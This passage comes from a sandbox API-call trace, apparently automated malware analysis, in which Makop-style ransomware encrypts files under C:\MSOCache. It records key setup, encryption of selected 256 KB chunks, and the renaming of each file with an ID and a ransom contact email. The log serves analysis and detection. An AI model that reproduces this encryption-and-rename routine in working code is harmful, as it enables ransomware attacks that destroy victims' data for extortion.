Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0072.261] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0072.262] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x6579538 | out: lpFileSize=0x6579538*=2928955) returned 1 [0072.262] GetProcessHeap () returned 0x48a0000 [0072.262] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0072.262] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0072.262] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.262] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579524*=0x5, lpOverlapped=0x0) returned 1 [0072.271] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0072.271] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0072.271] GetProcessHeap () returned 0x48a0000 [0072.272] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0072.272] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40) returned 1 [0072.272] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0072.273] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579524*=0x40, lpOverlapped=0x0) returned 1 [0072.273] WriteFile (in: hFile=0x124, lpBuffer=0x657952c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x657952c*, lpNumberOfBytesWritten=0x6579524*=0x4, lpOverlapped=0x0) returned 1 [0072.273] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579524*=0x10, lpOverlapped=0x0) returned 1 [0072.273] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579524*=0x80, lpOverlapped=0x0) returned 1 [0072.273] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0072.273] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579524*=0x8, lpOverlapped=0x0) returned 1 [0072.274] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0072.274] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0072.274] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0072.274] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0072.288] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0072.291] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.291] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0072.293] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2cb214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.293] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0072.293] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0072.294] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0072.322] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0072.324] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.324] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0072.328] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2cb214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.328] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0072.328] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x28b140, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0072.329] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0072.336] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0072.339] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x28b140, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.339] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0072.341] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2cb214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.341] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0072.341] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0072.341] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2cb214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.342] SetEndOfFile (hFile=0x124) returned 1 [0072.348] GetProcessHeap () returned 0x48a0000 [0072.348] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0072.348] GetProcessHeap () returned 0x48a0000 [0072.348] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0072.348] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0072.348] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0072.349] CloseHandle (hObject=0x124) returned 1 [0072.349] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0072.349] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.349] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0072.350] GetProcessHeap () returned 0x48a0000 [0072.350] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0072.350] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0072.350] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0072.350] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0x6, lpOverlapped=0x0) returned 1 [0072.354] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0072.355] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0072.355] GetProcessHeap () returned 0x48a0000 [0072.355] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0072.355] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30) returned 1 [0072.355] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0072.355] WriteFile (in: hFile=0x124, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6579528*=0x30, lpOverlapped=0x0) returned 1 [0072.355] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0072.355] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0072.355] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0072.355] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0072.356] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0072.356] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0072.356] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0072.356] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.356] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x93a, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x93a, lpOverlapped=0x0) returned 1 [0072.356] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x940, dwBufLen=0x940 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x940) returned 1 [0072.356] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.356] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x940, lpOverlapped=0x0) returned 1 [0072.356] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0072.357] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.357] SetEndOfFile (hFile=0x124) returned 1 [0072.363] GetProcessHeap () returned 0x48a0000 [0072.363] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0072.363] GetProcessHeap () returned 0x48a0000 [0072.363] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0072.363] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 119 [0072.363] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0072.364] CloseHandle (hObject=0x124) returned 1 [0072.364] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0072.364] FindClose (in: hFindFile=0x48c70a8 | out: hFindFile=0x48c70a8) returned 1 [0072.365] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0044-0409-1000-0000000FF1CE}-C", cAlternateFileName="{91454~1")) returned 1 [0072.365] wsprintfW (in: param_1=0x657c270, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C") returned 62 [0072.365] wsprintfW (in: param_1=0x65797f0, param_2="%s\\*.*" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*.*") returned 66 [0072.365] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70a8 [0072.422] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.422] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfLR.cab", cAlternateFileName="")) returned 1 [0072.422] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0072.422] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0072.422] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x6579538 | out: lpFileSize=0x6579538*=18874884) returned 1 [0072.423] GetProcessHeap () returned 0x48a0000 [0072.423] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0072.423] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0072.423] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.423] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579524*=0xc, lpOverlapped=0x0) returned 1 [0072.429] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0072.429] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0072.429] GetProcessHeap () returned 0x48a0000 [0072.430] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0072.430] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6579508*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6579508*=0x30) returned 1 [0072.430] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0072.430] WriteFile (in: hFile=0x124, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6579524*=0x30, lpOverlapped=0x0) returned 1 [0072.430] WriteFile (in: hFile=0x124, lpBuffer=0x657952c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x657952c*, lpNumberOfBytesWritten=0x6579524*=0x4, lpOverlapped=0x0) returned 1 [0072.430] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579524*=0x10, lpOverlapped=0x0) returned 1 [0072.430] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579524*=0x80, lpOverlapped=0x0) returned 1 [0072.430] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0072.431] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579524*=0x8, lpOverlapped=0x0) returned 1 [0072.431] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0072.431] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0072.431] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0072.431] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0072.444] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0072.447] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.447] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0072.449] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x12002d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.449] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0072.449] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0072.450] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0072.472] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0072.476] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.476] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0072.478] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x12002d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.478] WriteFile (in: hFile=0x124, 